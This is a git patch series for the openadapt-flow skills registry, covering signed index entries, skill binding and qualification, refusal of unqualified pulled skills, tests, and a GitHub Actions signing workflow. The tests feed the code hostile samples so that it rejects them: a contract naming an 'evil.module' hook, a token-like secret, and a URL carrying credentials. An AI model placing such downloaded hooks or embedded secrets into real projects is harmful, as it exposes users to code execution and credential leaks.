f"{parts.scheme}://{parts.netloc}" + + +def pulled_skill_refusal( + bundle_dir: Path | str, *, target_url: Optional[str] = None +) -> Optional[str]: + """Why a pulled skill may not run yet, or None (not pulled, or qualified). + + A bundle whose workflow carries registry provenance (``Workflow.registry``, + set by ``pull`` and covered by the content digest) runs only with a + current certification of this exact bundle, made on an instance it + records. A run aimed at ``target_url`` must be on that instance. A lock + file without provenance means the bundle was edited, and is refused. A + bundle with neither is an ordinary local bundle and this says nothing. + """ + + bundle_dir = Path(bundle_dir) + try: + lock = read_lock(bundle_dir) + except SkillError as exc: + return f"pulled skill: {exc}" + from openadapt_flow.ir import Workflow + from openadapt_flow.qualification import current_certification_matches + + try: + workflow = Workflow.load(bundle_dir) + except Exception as exc: # noqa: BLE001 - an unloadable bundle can't run + if lock is None: + return None + return f"pulled skill {lock.get('id')} failed to load: {exc}" + provenance = workflow.registry + if provenance is None: + if lock is not None: + return ( + f"{bundle_dir} has a skill lock but no registry provenance; pull " + f"{lock.get('id')} again" + ) + return None + hint = f"openadapt-flow skill qualify {bundle_dir} --certify " + if not current_certification_matches(workflow): + return ( + f"pulled skill {provenance.id} has no current certification on your " + f"instance; run {hint}" + ) + project = workflow.qualification + qualified_origin = ( + project.environment.application_identity if project is not None else None + ) + if not qualified_origin: + return ( + f"pulled skill {provenance.id} was not qualified on a named instance; " + f"run {hint}" + ) + if target_url and _origin(target_url) != qualified_origin: + return ( + f"pulled skill {provenance.id} was qualified on {qualified_origin}, " + f"not {_origin(target_url)}; run {hint} for this one" + ) + qualified = (lock or {}).get("qualified") + digest = workflow.manifest.content_digest if workflow.manifest else None + if qualified and qualified.get("bundle_digest") != digest: + return ( + f"pulled skill {provenance.id} changed since it was qualified; run {hint}" + ) + return None + + +def refuse_unqualified_skill( + bundle_dir: Path | str, *, target_url: Optional[str] = None +) -> None: + """Raise ``SystemExit`` for a pulled skill not yet qualified here. + + For ``run``, ``replay``, ``emit-skill`` and ``emit-mcp``. + """ + + refusal = pulled_skill_refusal(bundle_dir, target_url=target_url) + if refusal is not None: + raise SystemExit(f"REFUSED: {refusal}") + + +def qualify_skill( + bundle_dir: Path | str, + *, + certify: str, + out: Optional[Path | str] = None, + trials: Optional[int] = None, + contract: Optional[Path | str] = None, + log: Callable[[str], None] = print, + run: Optional[Callable[..., Any]] = None, +) -> Any: + """Qualify a pulled skill in place against the bound instance. + + ``contract`` is the user's own verify.yaml, for a skill that ships none + (or to replace the shipped one). It is the user's file, so it may name + Python hooks; the shipped contract may not. + """ + + from openadapt_flow.qualify.campaign import _default_hooks, qualify + from openadapt_flow.qualify.config import load_verify_config + + bundle_dir = Path(bundle_dir) + lock = read_lock(bundle_dir) + if lock is None: + raise SkillError(f"{bundle_dir} is not a pulled skill (no {LOCK})") + if contract is None and not lock.get("contract"): + raise SkillError( + f"{lock.get('id')} ships no record check; pass --verify with your own" + ) + missing = [] if contract is not None else missing_bindings(bundle_dir) + if missing: + raise SkillError( + "bind these first: " + + ", ".join(missing) + + f" (openadapt-flow skill bind {bundle_dir} --set NAME=VALUE)" + ) + env = {**os.environ, **read_binding(bundle_dir)} + shipped = contract is None + contract_path = ( + bundle_dir / lock["contract"] if contract is None else Path(contract) + ) + config = load_verify_config(contract_path, env=env) + if shipped and ( + config.app.session is not None + or getattr(config.app.reset, "python", None) + or getattr(config.verifier, "session", None) + ): + raise SkillError( + "a pulled skill's contract may not name Python hooks; it never runs " + "code it downloaded" + ) + out = Path(out) if out else bundle_dir.parent / f"{bundle_dir.name}-qualification" + result = (run or qualify)( + bundle_dir, + config, + out=out, + trials=trials, + certify=certify, + hooks=_default_hooks(config, None), + in_place=True, + log=log, + ) + if getattr(result, "certified", False): + from openadapt_flow.ir import Workflow + + workflow = Workflow.load(bundle_dir) + lock["qualified"] = { + "at": _now(), + "policy": certify, + "bundle_digest": workflow.manifest.content_digest + if workflow.manifest + else None, + "app_origin": config.app.origin, + "evidence": str(out), + } + _write_json(bundle_dir / LOCK, lock) + return result + + +def cmd_skill(args: Any) -> int: + import sys + + try: + if args.skill_cmd == "bind": + values = {} + for item in args.set or []: + name, eq, value = item.partition("=") + if not eq: + raise SkillError(f"--set takes NAME=VALUE, got {item!r}") + values[name] = value + path = bind(args.bundle, values) + missing = missing_bindings(args.bundle) + print(f"Bound {len(values)} value(s) in {path}") + if missing: + print("Still to bind: " + ", ".join(missing)) + return 0 + if args.skill_cmd == "qualify": + result = qualify_skill( + args.bundle, + certify=args.certify, + out=args.out, + trials=args.trials, + contract=args.verify, + ) + if getattr(result, "certified", False): + print(f"Qualified on your instance and certified under {args.certify}.") + return 0 + print("Qualification did not certify the skill; it stays refused.") + return 1 + if args.skill_cmd == "status": + lock = read_lock(args.bundle) + if lock is None: + print(f"{args.bundle} is not a pulled skill") + return 1 + refusal = pulled_skill_refusal(args.bundle) + print( + f"{lock['id']}@{lock.get('version')}: " + (refusal or "qualified; runs") + ) + missing = missing_bindings(args.bundle) + if missing: + print("Unbound: " + ", ".join(missing)) + return 0 if refusal is None else 1 + except SkillError as exc: + print(f"skill: {exc}", file=sys.stderr) + return 1 + return 2 + + +def add_parser(sub: Any) -> None: + p = sub.add_parser( + "skill", help="Bind and qualify a skill pulled from the registry" + ) + ssub = p.add_subparsers(dest="skill_cmd", required=True) + b = ssub.add_parser("bind", help="Record your values for the skill's contract") + b.add_argument("bundle") + b.add_argument( + "--set", + action="append", + metavar="NAME=VALUE", + help="A contract variable: a URL, an environment variable NAME, a path or a command", + ) + q = ssub.add_parser("qualify", help="Qualify the skill on your instance") + q.add_argument("bundle") + q.add_argument("--certify", required=True, help="Policy to certify under") + q.add_argument("--out", default=None) + q.add_argument("--trials", type=int, default=None) + q.add_argument( + "--verify", + default=None, + help="Your own verify.yaml, for a skill that ships no record check", + ) + s = ssub.add_parser("status", help="Whether the pulled skill may run") + s.add_argument("bundle") + for parser in (b, q, s): + parser.set_defaults(func=cmd_skill) diff --git a/packages/flow/registry/README.md b/packages/flow/registry/README.md index fb3fb7603..34e029cc7 100644 --- a/packages/flow/registry/README.md +++ b/packages/flow/registry/README.md @@ -5,13 +5,40 @@ Packaged, parameterized bundles for open-source apps. Fetch one with: ```bash openadapt-flow pull --list openadapt-flow pull openemr/new-referral -openadapt-flow replay new-referral --url --params-file params.json +openadapt-flow skill qualify new-referral --verify my-verify.yaml --certify clinical-write +openadapt-flow run new-referral --params-file params.json ``` `pull` downloads the files listed in [`index.json`](index.json), checks each file's sha256 against the index, and loads the bundle so its manifest digest is checked as well. It doesn't run anything. +Each entry is signed (Ed25519ph, the form Rekor accepts) by a key whose +public half ships with the package (`openadapt_flow/registry_keys.json`). +`pull` checks the signature before it downloads anything. Until the registry +key is published the index is unsigned, and `pull` takes an entry only with +`--allow-unsigned`. + +A pulled skill doesn't run until it is qualified on your own instance. `pull` +writes `skill.lock.json` beside the bundle and expires any certification it +carries. `run`, `replay`, `emit-skill` and `emit-mcp` refuse it until you +have done this: + +```bash +openadapt-flow skill bind new-referral --set APP_URL=https://your-test-copy.example \ + --set RECORD_TOKEN_VAR=MY_EMR_READ_TOKEN +openadapt-flow skill qualify new-referral --certify clinical-write +openadapt-flow skill status new-referral +``` + +`bind` takes addresses, the names of the environment variables that hold your +credentials (never the secrets themselves), local paths and local commands. +`qualify` runs the qualification cases with the skill's bundled record check +(`verify.yaml`) against your instance. A skill that ships no record check +takes your own with `--verify`. A shipped record check may not name Python +hooks, because a pulled skill never runs code it downloaded. See +[`docs/design/SKILLS_REGISTRY.md`](../docs/design/SKILLS_REGISTRY.md). + | Workflow | App | Status | |---|---|---| | `openemr/new-referral` | OpenEMR 8.0.0.3 | example, not certified | diff --git a/packages/flow/scripts/build_registry_index.py b/packages/flow/scripts/build_registry_index.py index e55c3579f..8adbe728f 100644 --- a/packages/flow/scripts/build_registry_index.py +++ b/packages/flow/scripts/build_registry_index.py @@ -1,15 +1,26 @@ -"""Write registry/index.json from registry/sources.json and the bundle files.""" +"""Write registry/index.json from registry/sources.json and the bundle files. + +With ``OPENADAPT_REGISTRY_SIGNING_SEED`` (the path of a file holding the +registry key's 32-byte Ed25519 seed, kept off this repository) and +``OPENADAPT_REGISTRY_KEY_ID``, every entry is signed. Without them the index is +unsigned, and ``pull`` takes it only with ``--allow-unsigned``. +""" from __future__ import annotations import json +import os import sys from pathlib import Path ROOT = Path(__file__).resolve().parents[1] sys.path.insert(0, str(ROOT)) -from openadapt_flow.registry import build_entry_files, validate_index # noqa: E402 +from openadapt_flow.registry import ( # noqa: E402 + build_entry_files, + sign_entry, + validate_index, +) def build() -> dict: @@ -19,6 +30,13 @@ def build() -> dict: item["files"] = build_entry_files(bundle) if bundle.is_dir() else {} sources["schema_version"] = 1 validate_index(sources) + seed_path = os.environ.get("OPENADAPT_REGISTRY_SIGNING_SEED") + if seed_path: + seed = Path(seed_path).read_bytes() + key_id = os.environ["OPENADAPT_REGISTRY_KEY_ID"] + for item in sources["workflows"]: + if item["status"] != "planned": + item["signature"] = sign_entry(item, seed, key_id) return sources diff --git a/packages/flow/tests/test_registry.py b/packages/flow/tests/test_registry.py index 81264fcef..8674af79a 100644 --- a/packages/flow/tests/test_registry.py +++ b/packages/flow/tests/test_registry.py @@ -40,13 +40,20 @@ def test_no_entry_claims_certified_without_a_record() -> None: def test_pull_verifies_and_loads(tmp_path: Path) -> None: index = _local_registry(tmp_path) - dest = registry.pull("openemr/new-referral", tmp_path / "out", index_url=str(index)) + dest = registry.pull( + "openemr/new-referral", + tmp_path / "out", + index_url=str(index), + allow_unsigned=True, + ) from openadapt_flow.ir import Workflow wf = Workflow.load(dest) assert "fname" in wf.param_specs with pytest.raises(registry.RegistryError, match="exists"): - registry.pull("openemr/new-referral", dest, index_url=str(index)) + registry.pull( + "openemr/new-referral", dest, index_url=str(index), allow_unsigned=True + ) def test_pull_refuses_tampered_file(tmp_path: Path) -> None: @@ -54,16 +61,26 @@ def test_pull_refuses_tampered_file(tmp_path: Path) -> None: wf_json = index.parent / "bundles/openemr/new-referral/workflow.json" wf_json.write_text(wf_json.read_text().replace("Elena", "Elenx", 1)) with pytest.raises(registry.RegistryError, match="sha256"): - registry.pull("openemr/new-referral", tmp_path / "out", index_url=str(index)) + registry.pull( + "openemr/new-referral", + tmp_path / "out", + index_url=str(index), + allow_unsigned=True, + ) assert not (tmp_path / "out").exists() def test_pull_refuses_planned_and_unknown(tmp_path: Path) -> None: index = str(_local_registry(tmp_path)) with pytest.raises(registry.RegistryError, match="planned"): - registry.pull("openimis/claim-intake", tmp_path / "o", index_url=index) + registry.pull( + "openimis/claim-intake", + tmp_path / "o", + index_url=index, + allow_unsigned=True, + ) with pytest.raises(registry.RegistryError, match="no workflow"): - registry.pull("nope/x", tmp_path / "o", index_url=index) + registry.pull("nope/x", tmp_path / "o", index_url=index, allow_unsigned=True) def test_unsafe_paths_rejected() -> None: @@ -85,6 +102,7 @@ def test_cli_list_and_pull(tmp_path: Path, capsys: pytest.CaptureFixture[str]) - [ "pull", "openemr/new-referral", + "--allow-unsigned", "--index", index, "--out", diff --git a/packages/flow/tests/test_skills_registry.py b/packages/flow/tests/test_skills_registry.py new file mode 100644 index 000000000..92273534f --- /dev/null +++ b/packages/flow/tests/test_skills_registry.py @@ -0,0 +1,406 @@ +"""Verified skills: a pulled skill runs only after it is qualified on your instance. + +``pull`` marks the bundle (``skill.lock.json``) and expires any certification +it carries. ``skill bind`` records the user's addresses and the names of the +environment variables that hold credentials, never their values. ``skill +qualify`` runs the bundled contract against the user's instance. ``run``, +``replay``, ``emit-skill`` and ``emit-mcp`` refuse a pulled skill until then. +A local qualification is checked against the bundle's digest, its +certification and the instance it was qualified on. +""" + +from __future__ import annotations + +import json +import shutil +from pathlib import Path +from types import SimpleNamespace + +import pytest + +from openadapt_flow import registry, skills + +ROOT = Path(__file__).resolve().parents[1] + +CONTRACT = """\ +schema_version: openadapt.verify/v1 +app: + target: web + name: Demo + version: "1" + url: ${APP_URL} + storage_state: ${SIGNED_IN_STATE} + reset: + command: ${RESET_COMMAND} +verifier: + kind: rest + base_url: ${RECORD_URL} + records_path: /api/patient + records_key: data + auth: + bearer_env: ${RECORD_TOKEN_VAR} +record: + name: patient + match: [email] + fields: + email: email +""" + +VARS = [ + {"name": "APP_URL", "kind": "url"}, + {"name": "RECORD_URL", "kind": "url"}, + {"name": "RECORD_TOKEN_VAR", "kind": "env_var_name"}, + {"name": "SIGNED_IN_STATE", "kind": "path"}, + {"name": "RESET_COMMAND", "kind": "command"}, +] + + +def _registry(tmp_path: Path, *, contract: str = CONTRACT) -> Path: + """A local registry whose OpenEMR example entry ships a contract.""" + + dest = tmp_path / "registry" + shutil.copytree(ROOT / "registry", dest) + bundle = dest / "bundles/openemr/new-referral" + (bundle / "verify.yaml").write_text(contract) + index = json.loads((dest / "index.json").read_text()) + for item in index["workflows"]: + if item["id"] == "openemr/new-referral": + item["files"] = registry.build_entry_files(bundle) + item.update( + version="1.0.0", + contract="verify.yaml", + contract_vars=VARS, + app_license="GPL-3.0", + ) + (dest / "index.json").write_text(json.dumps(index)) + return dest / "index.json" + + +def _pulled(tmp_path: Path, **kw) -> Path: + index = _registry(tmp_path, **kw) + return registry.pull( + "openemr/new-referral", + tmp_path / "skill", + index_url=str(index), + allow_unsigned=True, + ) + + +# -- the index ------------------------------------------------------------------ + + +def test_versions_pin_and_newest_wins(): + entries = registry.validate_index( + { + "workflows": [ + { + "id": "a/b", + "version": "1.2.0", + "status": "example", + "files": {"x": "0"}, + }, + { + "id": "a/b", + "version": "1.10.0", + "status": "example", + "files": {"x": "0"}, + }, + ] + } + ) + assert registry.find(entries, "a/b").version == "1.10.0" + assert registry.find(entries, "a/b@1.2.0").version == "1.2.0" + with pytest.raises(registry.RegistryError, match="no workflow"): + registry.find(entries, "a/b@9.9.9") + + +@pytest.mark.parametrize( + "extra, message", + [ + ({"contract": "missing.yaml"}, "not one of its files"), + ({"contract_vars": [{"name": "X", "kind": "secret"}]}, "kind"), + ({"verifier_score": {"caught": 1}}, "verifier_score needs"), + ], +) +def test_the_index_rejects_a_malformed_skill(extra, message): + item = {"id": "a/b", "status": "example", "files": {"x": "0"}, **extra} + with pytest.raises(registry.RegistryError, match=message): + registry.validate_index({"workflows": [item]}) + + +# -- pull marks the skill and every entry point refuses it ---------------------- + + +def test_pull_marks_the_skill(tmp_path): + dest = _pulled(tmp_path) + lock = skills.read_lock(dest) + assert lock["id"] == "openemr/new-referral" and lock["version"] == "1.0.0" + assert lock["qualified"] is None + assert "no current certification" in skills.pulled_skill_refusal(dest) + + +def test_every_entry_point_refuses_an_unqualified_skill(tmp_path): + from openadapt_flow.__main__ import _cmd_emit_mcp, _cmd_emit_skill, _cmd_replay + + dest = _pulled(tmp_path) + for cmd in (_cmd_replay, _cmd_emit_skill, _cmd_emit_mcp): + with pytest.raises(SystemExit, match="REFUSED"): + cmd(SimpleNamespace(bundle=str(dest), out=str(tmp_path / "emitted"))) + with pytest.raises(SystemExit, match="REFUSED"): + skills.refuse_unqualified_skill(dest) + + +def test_an_ordinary_bundle_is_not_affected(): + assert ( + skills.pulled_skill_refusal(ROOT / "registry/bundles/openemr/new-referral") + is None + ) + + +# -- bind ------------------------------------------------------------------------- + + +def test_bind_records_names_never_secrets(tmp_path): + dest = _pulled(tmp_path) + state = tmp_path / "state.json" + state.write_text("{}") + skills.bind( + dest, + { + "APP_URL": "https://emr.example.org", + "RECORD_TOKEN_VAR": "MY_EMR_TOKEN", + "SIGNED_IN_STATE": str(state), + }, + ) + assert skills.missing_bindings(dest) == ["RECORD_URL", "RESET_COMMAND"] + binding = dest / skills.BINDING + assert binding.stat().st_mode & 0o077 == 0 + for name, value, message in ( + ("RECORD_TOKEN_VAR", "eyJhbGciOiJIUzI1NiJ9.secret", "NAME of an environment"), + ("APP_URL", "https://user:pw@emr.example.org", "credentials in the URL"), + ("APP_URL", "emr.example.org", "http"), + ("UNKNOWN", "x", "not a variable"), + ("SIGNED_IN_STATE", str(tmp_path / "missing.json"), "does not exist"), + ): + with pytest.raises(skills.SkillError, match=message): + skills.bind(dest, {name: value}) + + +# -- qualify ---------------------------------------------------------------------- + + +def _bind_all(dest, tmp_path): + state = tmp_path / "state.json" + state.write_text("{}") + skills.bind( + dest, + { + "APP_URL": "https://emr.example.org", + "RECORD_URL": "https://emr.example.org", + "RECORD_TOKEN_VAR": "MY_EMR_TOKEN", + "SIGNED_IN_STATE": str(state), + "RESET_COMMAND": "./reset-test-copy.sh", + }, + ) + + +def test_qualify_needs_every_binding(tmp_path): + dest = _pulled(tmp_path) + with pytest.raises(skills.SkillError, match="bind these first"): + skills.qualify_skill(dest, certify="clinical-write", run=lambda *a, **k: None) + + +def test_qualify_refuses_a_contract_that_runs_code(tmp_path): + hooked = CONTRACT.replace( + " reset:\n command: ${RESET_COMMAND}\n", + " session: evil.module:open_session\n reset:\n command: ${RESET_COMMAND}\n", + ) + dest = _pulled(tmp_path, contract=hooked) + _bind_all(dest, tmp_path) + with pytest.raises(skills.SkillError, match="Python hooks"): + skills.qualify_skill(dest, certify="clinical-write", run=lambda *a, **k: None) + + +def test_qualify_runs_in_place_on_the_bound_instance(tmp_path): + dest = _pulled(tmp_path) + _bind_all(dest, tmp_path) + seen = {} + + def run(bundle, config, **kw): + seen.update(bundle=bundle, origin=config.app.origin, **kw) + return SimpleNamespace(certified=False) + + skills.qualify_skill(dest, certify="clinical-write", run=run) + assert seen["bundle"] == dest and seen["in_place"] is True + assert seen["origin"] == "https://emr.example.org" + assert seen["certify"] == "clinical-write" + # A campaign that didn't certify leaves the skill refused. + assert skills.read_lock(dest)["qualified"] is None + + +# -- the refusal after qualification -------------------------------------------------- + + +def _qualify_on(dest, origin): + """Give the pulled bundle a qualification project on ``origin``.""" + + from openadapt_flow.ir import Workflow + from openadapt_flow.qualification import EnvironmentBoundary, init_project + + workflow = Workflow.load(dest) + init_project( + workflow, + environment=EnvironmentBoundary( + target_kind="web", + application="Demo", + application_identity=origin, + application_version="1", + environment_digest="e" * 64, + runtime_version="test", + ), + ) + workflow.save(dest) + + +def test_only_the_qualified_instance_runs(tmp_path, monkeypatch): + from openadapt_flow import qualification + + dest = _pulled(tmp_path) + monkeypatch.setattr( + qualification, "current_certification_matches", lambda w, **k: True + ) + assert "not qualified on a named instance" in skills.pulled_skill_refusal(dest) + _qualify_on(dest, "https://emr.example.org") + assert skills.pulled_skill_refusal(dest) is None + assert ( + skills.pulled_skill_refusal(dest, target_url="https://emr.example.org/x") + is None + ) + assert "qualified on https://emr.example.org, not https://other.example" in ( + skills.pulled_skill_refusal(dest, target_url="https://other.example/") + ) + monkeypatch.setattr( + qualification, "current_certification_matches", lambda w, **k: False + ) + assert "no current certification" in skills.pulled_skill_refusal(dest) + + +def test_deleting_the_lock_does_not_make_it_runnable(tmp_path): + from openadapt_flow.ir import Workflow + + dest = _pulled(tmp_path) + (dest / skills.LOCK).unlink() + assert Workflow.load(dest).registry.id == "openemr/new-referral" + assert "no current certification" in skills.pulled_skill_refusal(dest) + + +def test_a_lock_without_provenance_is_refused(tmp_path): + shutil.copytree(ROOT / "registry/bundles/openemr/new-referral", tmp_path / "b") + (tmp_path / "b" / skills.LOCK).write_text( + json.dumps({"schema": skills.LOCK_SCHEMA, "id": "openemr/new-referral"}) + ) + assert "no registry provenance" in skills.pulled_skill_refusal(tmp_path / "b") + + +# -- signatures ------------------------------------------------------------------------ + +SEED = bytes(range(32)) + + +def _signed_registry(tmp_path): + from openadapt_flow.ed25519ph import public_key + + index = _registry(tmp_path) + data = json.loads(index.read_text()) + for item in data["workflows"]: + if item["id"] == "openemr/new-referral": + item["signature"] = registry.sign_entry(item, SEED, "test-key") + index.write_text(json.dumps(data)) + return index, {"test-key": public_key(SEED)} + + +def test_a_signed_entry_pulls_and_records_its_signer(tmp_path): + from openadapt_flow.ir import Workflow + + index, keys = _signed_registry(tmp_path) + dest = registry.pull( + "openemr/new-referral", tmp_path / "s", index_url=str(index), keys=keys + ) + origin = Workflow.load(dest).registry + assert origin.signed_by == "test-key" and origin.version == "1.0.0" + + +def test_an_unsigned_entry_needs_allow_unsigned(tmp_path): + index = _registry(tmp_path) + with pytest.raises(registry.RegistryError, match="not signed.*allow-unsigned"): + registry.pull( + "openemr/new-referral", tmp_path / "u", index_url=str(index), keys={} + ) + assert not (tmp_path / "u").exists() + + +@pytest.mark.parametrize("tamper", ["file_hash", "version", "signature", "unknown_key"]) +def test_a_tampered_or_foreign_entry_is_refused_before_anything_is_written( + tmp_path, tamper +): + index, keys = _signed_registry(tmp_path) + data = json.loads(index.read_text()) + item = next(i for i in data["workflows"] if i["id"] == "openemr/new-referral") + if tamper == "file_hash": + item["files"]["workflow.json"] = "0" * 64 + elif tamper == "version": + item["version"] = "9.9.9" + elif tamper == "signature": + item["signature"]["ed25519ph"] = registry.sign_entry( + item, bytes(32), "test-key" + )["ed25519ph"] + else: + item["signature"]["key_id"] = "someone-else" + index.write_text(json.dumps(data)) + with pytest.raises( + registry.RegistryError, match="signed by an unknown key|does not match" + ): + registry.pull( + "openemr/new-referral", + tmp_path / "t", + index_url=str(index), + keys=keys, + allow_unsigned=True, + ) + assert not (tmp_path / "t").exists() + + +def test_a_skill_without_a_contract_takes_the_users_own(tmp_path, monkeypatch): + index = _registry(tmp_path) + data = json.loads(index.read_text()) + for item in data["workflows"]: + item.pop("contract", None) + index.write_text(json.dumps(data)) + dest = registry.pull( + "openemr/new-referral", + tmp_path / "skill", + index_url=str(index), + allow_unsigned=True, + ) + with pytest.raises(skills.SkillError, match="pass --verify"): + skills.qualify_skill(dest, certify="clinical-write", run=lambda *a, **k: None) + own = tmp_path / "my-verify.yaml" + own.write_text( + CONTRACT.replace("${APP_URL}", "https://emr.example.org") + .replace("${SIGNED_IN_STATE}", str(own)) + .replace("${RESET_COMMAND}", "./reset-test-copy.sh") + .replace("${RECORD_URL}", "https://emr.example.org") + .replace("${RECORD_TOKEN_VAR}", "MY_EMR_TOKEN") + .replace(" reset:", " session: my_own_hooks:open_session\n reset:") + ) + (tmp_path / "my_own_hooks.py").write_text("def open_session(config):\n pass\n") + monkeypatch.syspath_prepend(str(tmp_path)) + seen = {} + skills.qualify_skill( + dest, + certify="clinical-write", + contract=own, + run=lambda bundle, config, **kw: seen.setdefault("origin", config.app.origin), + ) + # The user's own contract may name their own hooks. + assert seen["origin"] == "https://emr.example.org" From 53eff88ca7a1b51b2b35e0c8abfbecd7830fdd38 Mon Sep 17 00:00:00 2001 From: abrichr Date: Wed, 28 Oct 2026 14:37:34 -0400 Subject: [PATCH 2/8] Skills registry: private tier, bundles as release assets, TEST key, signing workflow Per the source-policy split, a public bundle carries the program and a minimal record check; the index validator and a repository test refuse private-tier files (verify.full.yaml, check_coverage.json, fault, held-out and SPEC files). An entry's full_contract pins the private tier's URL and sha256: skill qualify fetches it with a bearer token, checks it, and keeps it beside the bundle. An entry's archive pins a release asset (a reproducible .tar.gz); pull checks it, extracts only regular files at safe paths and checks every file. A TEST key (public seed, flagged test) is accepted only with --allow-test-key. .github/workflows/release-registry.yml builds the archives without secrets, signs the index in the protected registry-signing environment from REGISTRY_SIGNING_SEED, checks every signature against the shipped public keys (no TEST key), releases the assets under a registry-* tag and opens a pull request with the signed index. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/release-registry.yml | 209 ++++++++++++++++++ packages/flow/docs/design/SKILLS_REGISTRY.md | 35 ++- packages/flow/openadapt_flow/registry.py | 143 +++++++++++- .../flow/openadapt_flow/registry_keys.json | 9 +- packages/flow/openadapt_flow/skills.py | 64 +++++- packages/flow/registry/README.md | 10 +- packages/flow/scripts/build_registry_index.py | 88 ++++++-- packages/flow/tests/test_registry.py | 4 + packages/flow/tests/test_skills_registry.py | 191 ++++++++++++++++ 9 files changed, 708 insertions(+), 45 deletions(-) create mode 100644 .github/workflows/release-registry.yml diff --git a/.github/workflows/release-registry.yml b/.github/workflows/release-registry.yml new file mode 100644 index 000000000..d4574f83e --- /dev/null +++ b/.github/workflows/release-registry.yml @@ -0,0 +1,209 @@ +# Publish the skills registry: sign the index and release the bundles. +# +# - Manual dispatch only, from the current tip of main. The registry release +# is tagged registry-. +# - build (no secrets) writes each bundle in packages/flow/registry as a +# reproducible .tar.gz and an index whose entries point at this release's +# assets, and checks that no bundle holds a private-tier file. +# - sign runs in the protected `registry-signing` environment, the only place +# the REGISTRY_SIGNING_SEED secret exists. It signs every entry with the +# registry key (Ed25519ph, the form Rekor accepts) and checks each signature +# against the public keys shipped in openadapt_flow/registry_keys.json, so a +# seed that doesn't match a published key fails the run. The TEST key is +# refused here. +# - publish-github tags the commit with the openadapt-release App and +# publishes an immutable GitHub Release with the archives and the signed +# index, then opens a pull request that updates +# packages/flow/registry/index.json to the signed index. +# +# One-time setup (founder): the registry key. Generate the seed offline, store +# it base64-encoded as REGISTRY_SIGNING_SEED in the `registry-signing` +# environment (required reviewers), set REGISTRY_KEY_ID as an environment +# variable, commit only the public key to registry_keys.json, and add the +# registry-* tag to the release ruleset. +name: Release registry + +on: + workflow_dispatch: + inputs: + suffix: + description: "Release tag suffix (the tag is registry-), e.g. 2026-10-28" + required: true + type: string + +permissions: + contents: read + +concurrency: + group: release-registry + cancel-in-progress: false + +jobs: + build: + name: build registry-${{ inputs.suffix }} + runs-on: ubuntu-latest + timeout-minutes: 15 + outputs: + tag: ${{ steps.check.outputs.tag }} + steps: + - name: Require the tip of main + env: + REF: ${{ github.ref }} + run: | + if [ "$REF" != "refs/heads/main" ]; then + echo "Releases run only from refs/heads/main, not $REF." >&2 + exit 1 + fi + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0 + with: + python-version: "3.12" + - name: Check the tag name + id: check + env: + SUFFIX: ${{ inputs.suffix }} + run: | + set -euo pipefail + if ! printf '%s' "$SUFFIX" | grep -Eq '^[0-9A-Za-z][0-9A-Za-z.-]{0,40}$'; then + echo "The suffix must be letters, digits, dots and dashes." >&2 + exit 1 + fi + echo "tag=registry-$SUFFIX" >> "$GITHUB_OUTPUT" + - name: Install the engine + run: python -m pip install -e packages/types -e packages/flow + - name: Build the archives and the unsigned index + env: + TAG: ${{ steps.check.outputs.tag }} + run: | + set -euo pipefail + python packages/flow/scripts/build_registry_index.py \ + --archives dist-registry \ + --asset-base "https://github.com/${GITHUB_REPOSITORY}/releases/download/${TAG}/" \ + --out dist-registry/index.json + python -m pytest -q packages/flow/tests/test_skills_registry.py::test_no_registry_bundle_in_the_repo_holds_a_private_tier_file + (cd dist-registry && sha256sum -- *.tar.gz index.json > SHA256SUMS) + - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: registry-unsigned + path: dist-registry/ + if-no-files-found: error + + sign: + name: sign registry-${{ inputs.suffix }} + needs: build + runs-on: ubuntu-latest + timeout-minutes: 10 + environment: registry-signing + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0 + with: + python-version: "3.12" + - name: Install the engine + run: python -m pip install -e packages/types -e packages/flow + - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2 + with: + name: registry-unsigned + path: dist-registry/ + - name: Sign every entry with the registry key + env: + REGISTRY_SIGNING_SEED: ${{ secrets.REGISTRY_SIGNING_SEED }} + OPENADAPT_REGISTRY_KEY_ID: ${{ vars.REGISTRY_KEY_ID }} + run: | + set -euo pipefail + umask 077 + seed="$RUNNER_TEMP/registry-seed" + printf '%s' "$REGISTRY_SIGNING_SEED" | base64 --decode > "$seed" + OPENADAPT_REGISTRY_SIGNING_SEED="$seed" \ + python packages/flow/scripts/build_registry_index.py --sign dist-registry/index.json + rm -f "$seed" + - name: Check every signature against the published keys (no TEST key) + run: | + set -euo pipefail + python - <<'PY' + import json + from openadapt_flow import registry + index = json.load(open("dist-registry/index.json")) + keys = registry.trusted_keys(allow_test_key=False) + for item in index["workflows"]: + if item["status"] == "planned": + continue + problem = registry.entry_signature_problem(item, keys) + if problem: + raise SystemExit(f"{item['id']}: {problem}") + print(f"{len(index['workflows'])} entries signed and checked") + PY + (cd dist-registry && sha256sum -- *.tar.gz index.json > SHA256SUMS) + - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: registry-signed + path: dist-registry/ + if-no-files-found: error + + publish-github: + name: tag and release ${{ needs.build.outputs.tag }} + needs: [build, sign] + runs-on: ubuntu-latest + timeout-minutes: 15 + environment: release-identity + permissions: + contents: read + steps: + - name: Create a repository-scoped release App token + id: release-app + uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510 # v3.3.0 + with: + app-id: ${{ vars.OPENADAPT_RELEASE_APP_ID }} + private-key: ${{ secrets.OPENADAPT_RELEASE_APP_PRIVATE_KEY }} + owner: ${{ github.repository_owner }} + repositories: ${{ github.event.repository.name }} + permission-contents: write + permission-pull-requests: write + permission-metadata: read + - name: Require the exact release App identity + env: + ACTUAL_APP_SLUG: ${{ steps.release-app.outputs.app-slug }} + EXPECTED_APP_SLUG: openadapt-release + run: | + set -euo pipefail + if [ "$ACTUAL_APP_SLUG" != "$EXPECTED_APP_SLUG" ]; then + echo "Publishing requires the $EXPECTED_APP_SLUG App, not $ACTUAL_APP_SLUG." >&2 + exit 1 + fi + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ github.sha }} + 